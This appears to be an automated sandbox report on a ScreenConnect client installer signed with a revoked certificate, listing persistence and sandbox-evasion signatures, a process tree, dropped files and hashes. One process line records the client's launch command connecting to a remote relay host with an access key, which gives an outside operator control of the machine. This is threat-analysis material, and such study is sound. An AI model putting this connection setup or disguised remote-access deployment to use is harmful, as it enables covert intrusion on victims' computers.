Analysis

  • max time kernel
    56s
  • max time network
    54s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/09/2026, 22:24

General

  • Target
    ScreenConnect.ClientSetup.exe
  • Size 5.4MB
  • Sample260922-2bsxkagg24
  • SHA256 e3c35b275d5eb46c6e3c1e61f7bedf0585ca60d2758e6a49bd00807843a30ce0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1072
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\8caedb6088f34df1\setup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      PID:6104
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:6136
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F9F930F68090D5C7EEFB9B60885DB1FD C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240761250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3316
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2432
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding B93FBA5F563C9FD18CF0B46D967E145E
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4212
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 95E8E3CAF4879BED78787AEB4C1CCBF4 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:3280
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:2372
    • C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=109.205.211.100&p=8041&s=f662e115-ab6d-43d0-908a-27fad0769445&k=BgIAAACkAABSU0ExAAgAAAEAAQDFHLnT%2b%2buiwfeRt01JrTDq42%2fyTitTr14266AclBjfNl5NpBUyXUI6wsIauiVkuy9eH6jLMpISBIaj5RzO8YRzPcfLX%2fXj9ytyAOODSZ1z%2fy1OsqdGHWH2rLvH8tSLZ0qjzXQF17xXRUsouE2N7pyFOWqJgL1IKWTDWbrdCAmpVuUq1JNaSMeNvNabBDM7GAXYhAehvBxyWhq0ZPyunDHaB%2f5gVqgbvV6Vpd5biY%2f2nRfNggabbj2Wt5sPk0DcoHOk5OZh25uKtFl1xP7DKLlMpX7%2fKU6yYIVCPmVo7KcwwGnLOByfB2hABK8oNN1F7O%2fLpKIsm0f1iBcKlvB3lLa9"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1820
      • C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe" "RunRole" "f98e0671-45ed-44e6-a2ca-5129425e2547" "User"
        2⤵
        • Executes dropped EXE
        PID:3984
      • C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe" "RunRole" "18bde8bd-95e5-49b8-8ae0-9985fe8ebe41" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4156

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5a013b.rbs

          • Path C:\Config.Msi\e5a013b.rbs
          • Size 214KB
          • SHA256 b7006853774117ee6862d8ad230598be0fe2d6a11a982a71d37215d97533f683
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.Override.en-US.resources
          • Size 361B
          • SHA256 37feffe5a7eba3667e1f1eb38db7db5b3b7d090ca6f97a20e23e5a3ba577e995
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.Override.resources
          • Size 576B
          • SHA256 5cdb7c5c5a1755a75771d068d51aa64458045595f6a83691d418cd082c5766ce
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 c41321bd3d193e8f64bbfc68b13a3f25b535ed78eb5fc4bfe9512ea0b3eaf826
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 75e7c892842d3022d0f37c1ce9778dbff47ca014cca816665cc1bc5525e541af
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 05ce4e1f120eb7854b28854896e6908707775750f2b5c4cb80a02f04dc80d760
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe
          • Size 587KB
          • SHA256 1b32a493ca750fdad3cc20c976268da8224948b80aeed01b73613ad0c15457e6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\app.config
          • Size 2KB
          • SHA256 b263b9380694d8e54a7f6bf14e872d57cb8c60448a0cf5ce5a865debaeb332d5
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (8caedb6088f34df1)\system.config
          • Size 939B
          • SHA256 03fc2c0bdea83a1d9b67c2d90f9818c7f0dc014b53b9e2486365b6a36473018e
          • MD5 SHA1 SHA512 TLSH

          MSIB859.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp
          • Size 1.0MB
          • SHA256 484b594e46ce919b3aa89c61a465fa7577b6527549625b5b26b318df0706c6bf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 0efbace19282f63d62de8b31fb3d3e6ba09eda73bfe8bda04a70b53ebd83977e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 f3141adcef830b6a2a47c0c7392b6e27fda9c51f6bacc200f8b84608a96505ad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIB859.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 d159c14254f16ef7fb5d14d6846ef19f2f9ff95213061f5dd694fe729df5ee7e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          setup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\8caedb6088f34df1\setup.msi
          • Size 12.7MB
          • SHA256 77dd9c9fd926cc96469f8b5c68979ad52768b8b10fc6c39c8008d0459708c4d6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI755.tmp

          • Path C:\Windows\Installer\MSI755.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 c48da4c50712e7af78fc298ece416cd50afd74c21f575528e04f8d4ae70d3d6c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {82f66078-633d-434d-a741-7916cfa5ff13}_OnDiskSnapshotProp

          • Path \??\Volume{e3f46304-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{82f66078-633d-434d-a741-7916cfa5ff13}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 c3be5b54ea52817c897b843bc867881e2b98d4c52b5d90e5985ab87445ad8c64
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1072-2-0x0000000005A40000-0x0000000005D30000-memory.dmp

          memory/1072-5-0x0000000003120000-0x0000000003142000-memory.dmp

          memory/1072-1-0x00000000030E0000-0x00000000030E8000-memory.dmp

          memory/1072-4-0x00000000744F0000-0x0000000074CAC000-memory.dmp

          memory/1072-0-0x0000000074502000-0x0000000074503000-memory.dmp

          memory/1072-10-0x00000000744F0000-0x0000000074CAC000-memory.dmp

          memory/1072-3-0x0000000005740000-0x00000000057CC000-memory.dmp

          memory/1072-9-0x00000000062F0000-0x00000000068AA000-memory.dmp

          memory/1072-13-0x00000000744F0000-0x0000000074CAC000-memory.dmp

          memory/1072-6-0x00000000744F0000-0x0000000074CAC000-memory.dmp

          memory/1072-7-0x00000000057D0000-0x000000000597A000-memory.dmp

          memory/1072-8-0x00000000744F0000-0x0000000074CAC000-memory.dmp

          memory/1820-114-0x0000000004AA0000-0x0000000004AD6000-memory.dmp

          memory/1820-117-0x0000000004850000-0x0000000004891000-memory.dmp

          memory/1820-115-0x0000000004B80000-0x0000000004C12000-memory.dmp

          memory/1820-110-0x0000000004A50000-0x0000000004AA0000-memory.dmp

          memory/1820-88-0x0000000001F00000-0x0000000001F18000-memory.dmp

          memory/1820-119-0x0000000004D70000-0x0000000004E42000-memory.dmp

          memory/3316-40-0x0000000003260000-0x00000000032EC000-memory.dmp

          memory/3316-44-0x0000000005500000-0x00000000056AA000-memory.dmp

          memory/3316-32-0x0000000002420000-0x000000000244E000-memory.dmp

          memory/3316-36-0x0000000002460000-0x000000000246A000-memory.dmp

          memory/3984-130-0x0000000002AD0000-0x0000000002B06000-memory.dmp

          memory/3984-132-0x000000001B930000-0x000000001BADA000-memory.dmp

          memory/3984-133-0x000000001BAE0000-0x000000001BC68000-memory.dmp

          memory/3984-134-0x00000000010A0000-0x00000000010B8000-memory.dmp

          memory/3984-135-0x000000001B400000-0x000000001B418000-memory.dmp

          memory/3984-131-0x000000001B6F0000-0x000000001B77C000-memory.dmp

          memory/3984-129-0x00000000006A0000-0x0000000000736000-memory.dmp